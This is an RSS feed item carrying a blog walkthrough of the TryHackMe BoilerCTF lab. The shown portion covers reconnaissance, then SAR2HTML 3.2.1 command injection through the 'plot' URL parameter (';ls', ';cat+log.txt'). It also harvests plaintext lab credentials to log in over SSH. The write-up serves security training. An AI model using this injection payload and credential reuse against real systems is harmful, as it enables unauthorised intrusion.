<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mikail Kakabayev</title>
    <description>The latest articles on DEV Community by Mikail Kakabayev (@kaaayii).</description>
    <link>https://dev.to/kaaayii</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3915253%2F0005557c-4ec9-4716-a77e-95c4ebbd8003.png</url>
      <title>DEV Community: Mikail Kakabayev</title>
      <link>https://dev.to/kaaayii</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kaaayii"/>
    <language>en</language>
    <item>
      <title>TryHackMe | BoilerCTF | WALKTHROUGH</title>
      <dc:creator>Mikail Kakabayev</dc:creator>
      <pubDate>Sun, 17 May 2026 21:10:34 +0000</pubDate>
      <link>https://dev.to/kaaayii/tryhackme-boilerctf-walkthrough-3dk8</link>
      <guid>https://dev.to/kaaayii/tryhackme-boilerctf-walkthrough-3dk8</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LAB: BoilerCTF (TryHackMe)
DIFFICULTY: Medium
TARGET: root.txt
TOOLS: Nmap, Gobuster
VULNERABLE: SAR2HTML 3.2.1 (RCE)

We'll gain root privileges and capture root.txt by exploiting SAR2HTML 3.2.1 (RCE).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We start with an &lt;strong&gt;Nmap&lt;/strong&gt; scan to discover open ports and running services on the target machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;LABS_IP_ADDRESS&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;-sC - Runs Nmap's default set of safe scripts&lt;/li&gt;
&lt;li&gt;-sV - Probes open ports to identify service versions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6a6b0oh3ns9kpurxewps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6a6b0oh3ns9kpurxewps.png" alt=" " width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Breakdown:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 21 (FTP)&lt;/strong&gt; — Anonymous login is enabled. This means anyone can connect without a password. We'll log in and see if any files are accessible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 80 (HTTP)&lt;/strong&gt; — An Apache web server. The presence of &lt;code&gt;/robots.txt&lt;/code&gt; suggests there may be hidden directories. We'll use Gobuster or FFUF to find them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 10000 (Webmin)&lt;/strong&gt; — A web-based administration panel. This could be a path to root if we find credentials or a known exploit.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's find what we got on FTP:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frbrkaxjo1xgwmt5uw9j0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frbrkaxjo1xgwmt5uw9j0.png" alt=" " width="750" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80w59362hq29kq4xmyoj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80w59362hq29kq4xmyoj.png" alt=" " width="800" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is hidden file called &lt;code&gt;info.txt&lt;/code&gt;.&lt;br&gt;
We can download it using &lt;code&gt;get&lt;/code&gt; command and check what's inside.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;get .info.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl75x3znnbu2xd5lp43wr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl75x3znnbu2xd5lp43wr.png" alt=" " width="800" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we have ROT13 encoded text. We can decode it by following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl"&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'A-Za-z'&lt;/span&gt; &lt;span class="s1"&gt;'N-ZA-Mn-za-m'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pah85d00w6421knaok1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pah85d00w6421knaok1.png" alt=" " width="800" height="46"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After decoding we got nothing interesting here. So let's continue.&lt;/p&gt;

&lt;p&gt;We have &lt;code&gt;robots.txt&lt;/code&gt; and &lt;code&gt;Webmin&lt;/code&gt; admin running on port 10000.&lt;/p&gt;

&lt;p&gt;Lets first check &lt;code&gt;robots.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y9k04f501qjfgwbyjjg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y9k04f501qjfgwbyjjg.png" alt=" " width="800" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The robots.txt file contained multiple disallowed paths. Most appear to be rabbit holes (the creator literally includes &lt;code&gt;/a+rabbit&lt;/code&gt; as an entry). The entries like &lt;code&gt;/.ssh&lt;/code&gt; and &lt;code&gt;/tmp&lt;/code&gt; are not web-accessible and can be ignored. &lt;/p&gt;

&lt;p&gt;Below the robots.txt entries, I found ASCII decimal numbers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each number represents an ASCII character code. After decoding, I got:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This looks like Base64. Let's decode it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This appears to be a hash or key. I'll save it for now, though it may be another rabbit hole.&lt;/p&gt;

&lt;p&gt;Next, I used Gobuster to discover hidden directories on the web server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnli9agkuptfl3tugno3a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnli9agkuptfl3tugno3a.png" alt=" " width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As a result we have &lt;code&gt;/joomla&lt;/code&gt; and &lt;code&gt;/manual&lt;/code&gt; directories.&lt;/p&gt;

&lt;p&gt;Let's try &lt;code&gt;/manual&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48h1ssxdk4rk6i5ti20s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48h1ssxdk4rk6i5ti20s.png" alt=" " width="800" height="561"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's just an Apache Documentation. Nothing interesting here.&lt;/p&gt;

&lt;p&gt;Now, let's try &lt;code&gt;/joomla&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzr2d9hqrnebf08oiupt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzr2d9hqrnebf08oiupt.png" alt=" " width="800" height="1132"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's a small webpage, I did some research but found nothing except a login form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejscypfy0wo897yu2ygp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejscypfy0wo897yu2ygp.png" alt=" " width="476" height="576"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tested the login page for information disclosure by entering invalid credentials and analyzing the error messages. When i try 1 (for username) and 1234 (for password) it says:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w55ncesccdxw9qbhylr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w55ncesccdxw9qbhylr.png" alt=" " width="800" height="373"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#### Warning
JUser: :_load: Unable to load user with ID: 1
Username and password do not match or you do not have an account yet.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When I entered &lt;code&gt;1&lt;/code&gt; (a number) as the username, Joomla's backend tried to load user ID &lt;code&gt;1&lt;/code&gt; (the default admin account) instead of treating &lt;code&gt;1&lt;/code&gt; as a username string. The error &lt;code&gt;Unable to load user with ID: 1&lt;/code&gt; suggests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;User ID 1 &lt;strong&gt;exists&lt;/strong&gt; in the database&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;But something is wrong (maybe the account is disabled, deleted, or corrupted)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a minor information disclosure vulnerability, but couldn't go far.&lt;/p&gt;

&lt;p&gt;Let's run Gobuster again for &lt;code&gt;http://{LABS_IP_ADDRESS}/joomla/&lt;/code&gt; and check what we got next.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feow2lwrfchd3xkz5a0ka.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feow2lwrfchd3xkz5a0ka.png" alt=" " width="800" height="828"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By checking interesting directories such as: &lt;code&gt;/_archive&lt;/code&gt;, &lt;code&gt;/_files&lt;/code&gt;, &lt;code&gt;/_database&lt;/code&gt; and &lt;code&gt;/temp&lt;/code&gt;. I found some notes which is not really important. But in &lt;code&gt;/_files&lt;/code&gt;, i found a base64 encoded text and decoded it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;V2hvcHNpZSBkYWlzeQo=&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I'll keep this also for future use.&lt;/p&gt;

&lt;p&gt;Now lets check &lt;code&gt;/administrator&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsd22cuketg5n0t8dvo0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsd22cuketg5n0t8dvo0i.png" alt=" " width="762" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Found one more login page. Also tried some basic possible vulnerability tests, but still nothing.&lt;/p&gt;

&lt;p&gt;Now when i try &lt;code&gt;/_test&lt;/code&gt; endpoint.&lt;/p&gt;

&lt;p&gt;It gave me:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fizz3xyctsxtnz8r47wd4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fizz3xyctsxtnz8r47wd4.png" alt=" " width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It runs SAR2HTML, which is designed for system administrators. I found that SAR2HTML 3.2.1 contains a critical security flaw ( Remote Command Execution ). The application takes user input (specifically the &lt;code&gt;plot&lt;/code&gt; parameter in the URL) and passes it directly to the server's operating system without checking if it is safe. Because there is no sanitization, you can trick the server into running any command you want by adding a semicolon (&lt;code&gt;;&lt;/code&gt;) or a pipe (&lt;code&gt;|&lt;/code&gt;) to the URL.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6n1khqp2q7v6cx3xifeo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6n1khqp2q7v6cx3xifeo.png" alt=" " width="800" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By checking &lt;a href="https://www.exploit-db.com/exploits/47204" rel="noopener noreferrer"&gt;https://www.exploit-db.com/exploits/47204&lt;/a&gt;, we understand that &lt;code&gt;http://&amp;lt;ipaddr&amp;gt;/index.php?plot=;&amp;lt;command-here&amp;gt;&lt;/code&gt; going to execute the command that we want. I entered basic command to check if it works.&lt;/p&gt;

&lt;p&gt;I changed &lt;code&gt;http://{LABS_IP_ADDRESS}/joomla/_test/index.php?plot=NEW&lt;/code&gt; to &lt;code&gt;http://{LABS_IP_ADDRESS}/joomla/_test/index.php?plot=;ls&lt;/code&gt; and BOOM!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgqz3pndbs36nqoum0ix.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgqz3pndbs36nqoum0ix.png" alt=" " width="610" height="628"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It displays the files from current directory.&lt;/p&gt;

&lt;p&gt;Let's see whats inside &lt;code&gt;log.txt&lt;/code&gt; file by typing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://&lt;span class="o"&gt;{&lt;/span&gt;LABS_IP_ADDRESS&lt;span class="o"&gt;}&lt;/span&gt;/joomla/_test/index.php?plot&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt;+log.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp002lkwxo5oyb3t4vv1p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp002lkwxo5oyb3t4vv1p.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that there is users called &lt;code&gt;basterd&lt;/code&gt; and &lt;code&gt;pentest&lt;/code&gt;, including password which is &lt;code&gt;superduperp@$$&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On the Nmap scan, there is SSH running on port 55007.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhhxob9ubqrthxivkkqy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhhxob9ubqrthxivkkqy.png" alt=" " width="800" height="111"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's try to login using the credentials that we found.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgykjfpgi8l0dntvx2b8a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgykjfpgi8l0dntvx2b8a.png" alt=" " width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we're in.&lt;/p&gt;

&lt;p&gt;There is a &lt;code&gt;backup.sh&lt;/code&gt; file in current directory. Lets check it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;REMOTE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.2.3.4

&lt;span class="nv"&gt;SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/home/stoner
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/backup

&lt;span class="nv"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/home/stoner/bck.log

&lt;span class="nv"&gt;DATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%y&lt;span class="se"&gt;\.&lt;/span&gt;%m&lt;span class="se"&gt;\.&lt;/span&gt;%d&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;

&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;stoner
&lt;span class="c"&gt;#superduperp@$$no1knows&lt;/span&gt;

ssh &lt;span class="nv"&gt;$USER&lt;/span&gt;@&lt;span class="nv"&gt;$REMOTE&lt;/span&gt; &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt;/&lt;span class="nv"&gt;$DATE&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SOURCE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nv"&gt;$SOURCE&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'data'&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;do
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Begining copy of"&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;  &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
        scp  &lt;span class="nv"&gt;$SOURCE&lt;/span&gt;/&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="nv"&gt;$USER&lt;/span&gt;@&lt;span class="nv"&gt;$REMOTE&lt;/span&gt;:&lt;span class="nv"&gt;$TARGET&lt;/span&gt;/&lt;span class="nv"&gt;$DATE&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="s2"&gt;"completed"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;ssh &lt;span class="nv"&gt;$USER&lt;/span&gt;@&lt;span class="nv"&gt;$REMOTE&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt;/&lt;span class="nv"&gt;$DATE&lt;/span&gt;/&lt;span class="nv"&gt;$i&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;then
           &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nv"&gt;$SOURCE&lt;/span&gt;/&lt;span class="nv"&gt;$i&lt;/span&gt;
           &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="s2"&gt;"removed"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
           &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"####################"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
                &lt;span class="k"&gt;else
                    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Copy not complete"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
                    &lt;span class="nb"&gt;exit &lt;/span&gt;0
        &lt;span class="k"&gt;fi 
    done


else

    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Directory is not present"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I found a code and there is a username and password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;stoner
&lt;span class="c"&gt;#superduperp@$$no1knows&lt;/span&gt;
